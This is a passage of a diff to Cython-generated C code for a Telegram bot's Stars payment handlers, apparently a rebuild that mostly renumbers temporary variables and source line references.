(likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_3, function); + __Pyx_DECREF_SET(__pyx_t_8, function); __pyx_t_4 = 1; } } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; - __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 234, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_8); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 236, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 228, __pyx_L9_error) - __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_2) < 0) __PYX_ERR(0, 230, __pyx_L9_error) + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 227, __pyx_L9_error) - __Pyx_GOTREF(__pyx_t_8); + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 229, __pyx_L9_error) + __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); - __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_10); @@ -8052,12 +8033,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_12); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 227, __pyx_L9_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 229, __pyx_L9_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 227, __pyx_L9_error) + else __PYX_ERR(0, 229, __pyx_L9_error) } } @@ -8077,8 +8058,8 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_14) { __Pyx_AddTraceback("handlers.payments.stars_pay.process_custom_amount_input", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_8, &__pyx_t_1, &__pyx_t_9) < 0) __PYX_ERR(0, 236, __pyx_L11_except_error) - __Pyx_XGOTREF(__pyx_t_8); + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_1, &__pyx_t_9) < 0) __PYX_ERR(0, 238, __pyx_L11_except_error) + __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_9); __Pyx_INCREF(__pyx_t_1); @@ -8086,24 +8067,24 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_cur_scope->__pyx_v_e = __pyx_t_1; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 237, __pyx_L22_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 237, __pyx_L22_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 239, __pyx_L22_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 239, __pyx_L22_error) __Pyx_GOTREF(__pyx_t_13); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 237, __pyx_L22_error) - __Pyx_GOTREF(__pyx_t_2); - __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u__19, __pyx_t_2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 237, __pyx_L22_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 239, __pyx_L22_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_15 = __Pyx_PyUnicode_Concat(__pyx_kp_u__13, __pyx_t_3); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 239, __pyx_L22_error) __Pyx_GOTREF(__pyx_t_15); - __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = NULL; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS if (unlikely(PyMethod_Check(__pyx_t_13))) { - __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_13); - if (likely(__pyx_t_2)) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_13); + if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_13); - __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_13, function); __pyx_t_4 = 1; @@ -8111,17 +8092,17 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_15}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_15}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 237, __pyx_L22_error) - __Pyx_GOTREF(__pyx_t_3); + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 239, __pyx_L22_error) + __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; } - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 238, __pyx_L22_error) + __pyx_t_13 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 240, __pyx_L22_error) __Pyx_GOTREF(__pyx_t_13); __pyx_t_15 = NULL; __pyx_t_4 = 0; @@ -8138,21 +8119,21 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_15, __pyx_kp_u__20}; - __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + PyObject *__pyx_callargs[2] = {__pyx_t_15, __pyx_kp_u__14}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_13, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 238, __pyx_L22_error) - __Pyx_GOTREF(__pyx_t_3); + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 240, __pyx_L22_error) + __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; } - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); - __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_8); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; - __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; __Pyx_XGIVEREF(__pyx_t_9); __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; __Pyx_XGIVEREF(__pyx_t_10); @@ -8171,9 +8152,9 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; __pyx_cur_scope->__pyx_t_0 = 0; __Pyx_XGOTREF(__pyx_t_1); - __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; + __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_2); __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_9); @@ -8186,12 +8167,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_t_12 = __pyx_cur_scope->__pyx_t_5; __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_12); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 238, __pyx_L22_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 240, __pyx_L22_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 238, __pyx_L22_error) + else __PYX_ERR(0, 240, __pyx_L22_error) } } } @@ -8208,8 +8189,8 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_22, &__pyx_t_23); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20) < 0)) __Pyx_ErrFetch(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); __Pyx_XGOTREF(__pyx_t_18); @@ -8239,7 +8220,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro } __pyx_L23:; } - __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; goto __pyx_L10_exception_handled; @@ -8264,16 +8245,16 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro } /*else*/ { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 240, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_8 = NULL; + __pyx_t_2 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS if (likely(PyMethod_Check(__pyx_t_1))) { - __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); - if (likely(__pyx_t_8)) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); - __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_4 = 1; @@ -8281,10 +8262,10 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_kp_u__27}; + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__20}; __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); - __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 240, __pyx_L1_error) + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 242, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -8299,12 +8280,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_17generator5(__pyx_Coro __pyx_generator->resume_label = 7; return __pyx_r; __pyx_L29_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 240, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 242, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 240, __pyx_L1_error) + else __PYX_ERR(0, 242, __pyx_L1_error) } } } @@ -8391,12 +8372,12 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 244, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 246, __pyx_L3_error) else goto __pyx_L5_argtuple_error; } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "on_pre_checkout_query") < 0)) __PYX_ERR(0, 244, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "on_pre_checkout_query") < 0)) __PYX_ERR(0, 246, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 1)) { goto __pyx_L5_argtuple_error; @@ -8407,7 +8388,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("on_pre_checkout_query", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 244, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("on_pre_checkout_query", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 246, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -8446,7 +8427,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_18on_pre_checkout_query if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_6_on_pre_checkout_query *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 244, __pyx_L1_error) + __PYX_ERR(0, 246, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -8454,7 +8435,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_18on_pre_checkout_query __Pyx_INCREF(__pyx_cur_scope->__pyx_v_pre_checkout_query); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_pre_checkout_query); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_20generator6, __pyx_codeobj__28, (PyObject *) __pyx_cur_scope, __pyx_n_s_on_pre_checkout_query, __pyx_n_s_on_pre_checkout_query, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 244, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_20generator6, __pyx_codeobj__21, (PyObject *) __pyx_cur_scope, __pyx_n_s_on_pre_checkout_query, __pyx_n_s_on_pre_checkout_query, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 246, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -8490,14 +8471,14 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_20generator6(__pyx_Coro return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 244, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 246, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_pre_checkout_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 246, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_pre_checkout_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 246, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_ok, Py_True) < 0) __PYX_ERR(0, 246, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 246, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_ok, Py_True) < 0) __PYX_ERR(0, 248, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -8512,12 +8493,12 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_20generator6(__pyx_Coro __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 246, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 248, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 246, __pyx_L1_error) + else __PYX_ERR(0, 248, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -8598,12 +8579,12 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 249, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 251, __pyx_L3_error) else goto __pyx_L5_argtuple_error; } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "on_successful_payment") < 0)) __PYX_ERR(0, 249, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "on_successful_payment") < 0)) __PYX_ERR(0, 251, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 1)) { goto __pyx_L5_argtuple_error; @@ -8614,7 +8595,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("on_successful_payment", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 249, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("on_successful_payment", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 251, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -8653,7 +8634,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_21on_successful_payment if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_9stars_pay___pyx_scope_struct_7_on_successful_payment *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 249, __pyx_L1_error) + __PYX_ERR(0, 251, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -8661,7 +8642,7 @@ static PyObject *__pyx_pf_8handlers_8payments_9stars_pay_21on_successful_payment __Pyx_INCREF(__pyx_cur_scope->__pyx_v_message); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_message); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_23generator7, __pyx_codeobj__29, (PyObject *) __pyx_cur_scope, __pyx_n_s_on_successful_payment, __pyx_n_s_on_successful_payment, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 249, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_9stars_pay_23generator7, __pyx_codeobj__22, (PyObject *) __pyx_cur_scope, __pyx_n_s_on_successful_payment, __pyx_n_s_on_successful_payment, __pyx_n_s_handlers_payments_stars_pay); if (unlikely(!gen)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -8719,7 +8700,7 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 249, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 251, __pyx_L1_error) { __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); @@ -8728,24 +8709,24 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 254, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_chat); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 256, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 254, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_id); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 256, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyNumber_Int(__pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 254, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyNumber_Int(__pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 256, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_user_id = __pyx_t_4; __pyx_t_4 = 0; - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_successful_payment); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 255, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_message, __pyx_n_s_successful_payment); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 257, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_invoice_payload); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 255, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_invoice_payload); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 257, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_split); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 255, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_split); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 257, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; @@ -8763,26 +8744,26 @@ static PyObject *__pyx_gb_8handlers_8payments_9stars_pay_23generator7(__pyx_Coro } #endif { - PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_n_u__30}; + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_n_u__23}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 